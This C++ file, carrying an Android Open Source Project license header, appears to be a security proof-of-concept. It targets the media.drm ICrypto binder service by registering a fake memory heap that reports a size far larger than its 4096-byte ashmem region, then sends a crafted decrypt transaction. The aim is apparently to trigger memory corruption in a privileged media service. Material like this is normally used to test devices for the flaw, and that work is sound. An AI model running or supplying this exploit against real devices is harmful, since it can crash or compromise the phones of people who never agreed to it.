| /** |
| * Copyright (C) 2018 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions vand |
| * limitations under the License. |
| */ |
| |
| #include <sys/types.h> |
| #include <sys/wait.h> |
| #include <binder/IMemory.h> |
| #include <binder/IServiceManager.h> |
| #include <binder/MemoryDealer.h> |
| #include <binder/Parcel.h> |
| #include <cutils/ashmem.h> |
| #include <utils/String8.h> |
| |
| using namespace android; |
| |
| #define MAKE_CRYPTO (IBinder::FIRST_CALL_TRANSACTION) |
| #define CREATE_PLUGIN (IBinder::FIRST_CALL_TRANSACTION + 2) |
| #define DECRYPT (IBinder::FIRST_CALL_TRANSACTION + 5) |
| #define SET_HEAP (IBinder::FIRST_CALL_TRANSACTION + 8) |
| |
| class MyMemoryHeap : public virtual BnMemoryHeap { |
| public: |
| MyMemoryHeap(int fd) { mFd = fd; } |
| int getHeapID() const { return mFd; } |
| void *getBase() const { return NULL; } |
| size_t getSize() const { return 4096 * 4096; } |
| uint32_t getFlags() const { return 0; } |
| off_t getOffset() const { return 0; } |
| |
| private: |
| mutable int mFd; |
| }; |
| |
| sp<IBinder> crypto_binder; |
| |
| void make_crypto() { |
| |
| sp<IServiceManager> sm = defaultServiceManager(); |
| sp<IBinder> drm_binder = sm->getService(String16("media.drm")); |
| |
| Parcel data, reply; |
| |
| data.writeInterfaceToken(String16("android.media.IMediaDrmService")); |
| |
| drm_binder->transact(MAKE_CRYPTO, data, &reply, 0); |
| |
| crypto_binder = reply.readStrongBinder(); |
| } |
| |
| void create_plugin() { |
| |
| Parcel data, reply; |
| |
| data.writeInterfaceToken(String16("android.hardware.ICrypto")); |
| |
| uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02, |
| 0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b}; |
| data.write(uuid, 16); |
| |
| data.writeInt32(0); |
| |
| crypto_binder->transact(CREATE_PLUGIN, data, &reply, 0); |
| } |
| |
| int set_heap() { |
| |
| Parcel data, reply; |
| |
| data.writeInterfaceToken(String16("android.hardware.ICrypto")); |
| int fd = ashmem_create_region("ele7enxxh", 4096); |
| sp<IMemoryHeap> heap = new MyMemoryHeap(fd); |
| data.writeStrongBinder(IInterface::asBinder(heap)); |
| |
| crypto_binder->transact(SET_HEAP, data, &reply, 0); |
| |
| return reply.readInt32(); |
| } |
| |
| void decrypt() { |
| |
| Parcel data, reply; |
| |
| data.writeInterfaceToken(String16("android.hardware.ICrypto")); |
| data.writeInt32(0); |
| data.writeInt32(0); |
| data.writeInt32(0); |
| |
| uint8_t key[16]; |
| memset(key, 0, 16); |
| data.write(key, 16); |
| uint8_t iv[16]; |
| memset(iv, 0, 16); |
| data.write(iv, 16); |
| |
| // totalsize |
| data.writeInt32(4096 * 4); |
| |
| sp<MemoryDealer> memoryDealer = new MemoryDealer(4096 * 4); |
| sp<IMemory> mem = memoryDealer->allocate(4096 * 4); |
| data.writeStrongBinder(IInterface::asBinder(mem)); |
| |
| // source.mHeapSeqNum |
| data.writeInt32(0); |
| |
| // offset |
| data.writeInt32(0); |
| |
| // numSubSamples |
| data.writeInt32(1); |
| |
| // numBytesOfClearData |
| data.writeInt32(4096 * 4); |
| |
| // numBytesOfEncryptedData |
| data.writeInt32(0); |
| |
| // destination.mType |
| data.writeInt32(0); |
| |
| // destination.mSharedMemory |
| data.writeStrongBinder(IInterface::asBinder(mem)); |
| |
| crypto_binder->transact(DECRYPT, data, &reply, 0); |
| } |
| |
| int main() { |
| |
| make_crypto(); |
| |
| create_plugin(); |
| |
| set_heap(); |
| |
| decrypt(); |
| |
| return 0; |
| } |